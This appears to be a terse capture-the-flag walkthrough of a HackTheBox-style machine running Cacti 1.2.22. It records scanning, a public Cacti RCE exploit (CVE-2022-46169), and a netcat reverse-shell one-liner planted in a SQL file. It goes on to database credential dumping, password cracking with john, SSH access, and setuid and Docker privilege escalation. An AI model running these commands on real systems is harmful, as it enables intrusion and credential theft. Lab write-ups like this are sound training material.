Nmap
1 | nmap -p- -sVC monitors -vvvv |
Output:
1 | PORT STATE SERVICE REASON VERSION |
port 22 & 80
Login page

Version 1.2.22 | (c) 2004-2023 - The Cacti Group
Subdirectory
1 | gobuster dir -u http://monitors -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |

Error 301, keep or later.
exploit
https://raw.githubusercontent.com/FredBrave/CVE-2022-46169-CACTI-1.2.22/main/CVE-2022-46169.py
1 | python cactiRCE2 -u http://10.10.11.211 --LHOST=10.10.14.23 --LPORT=4546 |
lse
1 | [!] fst020 Uncommon setuid binaries........................................ yes! |
linpease
1 | ╔══════════╣ Processes with credentials in memory (root req) |
cat /entrypoint.sh
1 | #!/bin/bash |
/var/www/html/cacti.sql
mysql Ver 15.1 Distrib 10.5.15-MariaDB, for debian-linux-gnu (x86_64) using EditLine wrapper
I can manipulate the sql file, should be able spawn a shell
https://gtfobins.github.io/gtfobins/mysql/
1 | -- |
21232f297a57a5a743894a0e4a801fc3 = admin
Inside cacti.sql
1 | !!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.23 4545 >/tmp/f |
DL
1 | www-data@50bca5e748b0:/var/www/html$ wget http://10.10.14.23/cacti.sql |
1 | mysql --host=db --user=root --password=root cacti -e "SELECT LOAD_FILE('/etc/passwd') AS Result;" |
can’t do shit
1 | mysql --host=db --user=root --password=root cacti -e "show tables" |

1 | mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth" |

1 | +----------+--------------------------------------------------------------+ |
John
1 | cat hashs |
1 | john -wordlist=/usr/share/wordlists/rockyou.txt hashs |

funkymonkey
ssh as marcus
1 | ssh marcus@monitors |
1 | python2.7 -m SimpleHTTPServer 80 |
1 | Sudo version 1.8.31 |

new vhost, add to /etc/hosts
tail -1 /etc/hosts
1 | 10.10.11.211 monitors cacti.monitorstwo.htb monitorstwo.htb |
1 | ╔══════════╣ .sh files in path |
/usr/bin/gettext.sh
1 | marcus@monitorstwo:/var/www/html$ /usr/bin/gettext.sh |

1 | Docker version 20.10.5+dfsg1, build 363e9a8 |
https://github.com/UncleJ4ck/CVE-2021-41091
Go back to the container
Be root
1 | /sbin/capsh --gid=0 --uid=0 -- |
On kali
1 | ./exp.sh |